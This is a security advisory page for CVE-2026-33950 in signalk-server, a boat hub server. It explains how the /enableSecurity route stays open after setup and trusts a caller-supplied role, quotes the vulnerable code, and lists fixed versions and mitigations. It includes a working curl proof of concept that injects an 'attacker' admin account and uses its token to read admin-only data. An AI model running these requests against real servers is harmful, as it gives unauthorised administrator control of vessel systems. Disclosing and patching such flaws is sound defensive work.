CVE-2026-33950: signalk-server: Privilege Escalation by Admin Role Injection via /enableSecurity

Published Apr 2, 2026
·
Updated

Summary

According to SignalK's security documentation, when a server is first initialized without security enabled, the /skServer/enableSecurity endpoint is intentionally exposed to allow the owner to set up the initial admin account. This initial open access is by design.

However, the critical vulnerability is that this route is never deregistered or disabled after the initial successful setup. Even after the genuine administrator has created their account, restarted the server, and activated token security, the /skServer/enableSecurity route remains perpetually open.

Furthermore, the endpoint explicitly trusts the type field provided in the request body, passing it directly into the server's security configuration without validation. Because the route remains permanently listening, any unauthenticated user can call this endpoint at any time to silently inject a new, fully privileged admin account alongside the legitimate ones.

Vulnerable Root Cause

File: src/serverroutes.ts (Lines 685-754) if (app.securityStrategy.getUsers(getSecurityConfig(app)).length === 0) { app.post( ${SERVERROUTESPREFIX}/enableSecurity, (req: Request, res: Response) => { // ... function addUser(request: Request, response: Response, securityStrategy: SecurityStrategy, config?: any) { // [!VULNERABLE] Passes the entire JSON request body directly to the security strategy securityStrategy.addUser(config, request.body, (err, theConfig) => { // ... }) } } // ... No code disables or removes this route after first execution. // The conditional check on Line 685 only happens during server startup,

File: src/tokensecurity.ts (Lines 980-994) function addUser( theConfig: SecurityConfig, user: { userId: string; type: string; password?: string }, callback: ICallback<SecurityConfig> ): void { // ... const newUser: User = { username: user.userId, type: user.type // [!VULNERABLE] Blindly trusts the injected "type" field }

Proof of Concept (PoC)

Simulate Legitimate Initial Setup: Send a POST request to the open enableSecurity route defining the initial legitimate admin account. curl -X POST http://localhost:3000/skServer/enableSecurity \ -H "Content-Type: application/json" \ -d '{"userId": "admin", "password": "securepassword", "type": "admin"}'

Result: Security enabled

Inject Malicious Admin: Send the exact same request again to create a second, unauthorized admin account. This should ideally be blocked because security was already enabled.

curl -X POST http://localhost:3000/skServer/enableSecurity \ -H "Content-Type: application/json" \ -d '{"userId": "attacker", "password": "password123", "type": "admin"}'

Result: Security enabled (The vulnerability: The server fails to reject the request and creates the second admin).

Verify Both Admins Exist: Login via JWT as the attacker and query the restricted users endpoint.

Get Token for Attacker TOKEN=$(curl -s -X POST http://localhost:3000/signalk/v1/auth/login \ -H "Content-Type: application/json" \ -d '{"username": "attacker", "password": "password123"}' | jq -r .token) Access Admin-Only Data curl -H "Authorization: Bearer $TOKEN" http://localhost:3000/skServer/security/users Result: The system returns both admin and attacker as active Administrators.

<img width="1205" height="469" alt="Screenshot 2026-03-24 145906" src="https://github.com/user-attachments/assets/98855e54-cb78-4786-a9e3-63dcc1bed37a" />

Security Impact An unauthenticated attacker can gain full Administrator access to the SignalK server at any time, allowing them to modify sensitive vessel routing data, alter server configurations, and access restricted endpoints

Other sources

Signal K Server is a server application that runs on a central hub in a boat. Prior to version 2.24.0-beta.4, there is a privilege escalation vulnerability by Admin Role Injection via /enableSecurity. An unauthenticated attacker can gain full Administrator access to the SignalK server at any time, allowing them to modify sensitive vessel routing data, alter server configurations, and access restricted endpoints. This issue has been patched in version 2.24.0-beta.4.

— MITRE

Affected Software

5 affected componentsFixes available
npm/signalk-server<2.24.0-beta.4
2.24.0-beta.4
SignalK Signal K Server<2.24.0
SignalK Signal K Server=2.24.0-beta1
SignalK Signal K Server=2.24.0-beta2
SignalK Signal K Server=2.24.0-beta3

Remediation

Recommended actions to resolve this vulnerability, in priority order.

  1. Upgrade

    Upgrade npm/signalk-server to a version that resolves this vulnerability.

    Fixed in 2.24.0-beta.4
  2. Upgrade

    Upgrade to a fixed release to a version that resolves this vulnerability.

    Patch 2.24.0-beta.4
  3. Compensating control

    Block unauthenticated access to the ${SERVERROUTESPREFIX}/enableSecurity endpoint (for example, via network/WAF/ACL) after initial admin setup so it cannot be called at any time to inject a second privileged admin.

Event History

Apr 2, 2026
CVE Published
via MITRE·04:08 PM
Data Sourced
via MITRE·04:08 PM
DescriptionSeverityWeakness
Data Sourced
via NVD·05:16 PM
DescriptionSeverityWeaknessAffected Software
Apr 3, 2026
Advisory Published
via GitHub·09:37 PM
Data Sourced
via GitHub·09:37 PM
DescriptionSeverityWeaknessAffected Software

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203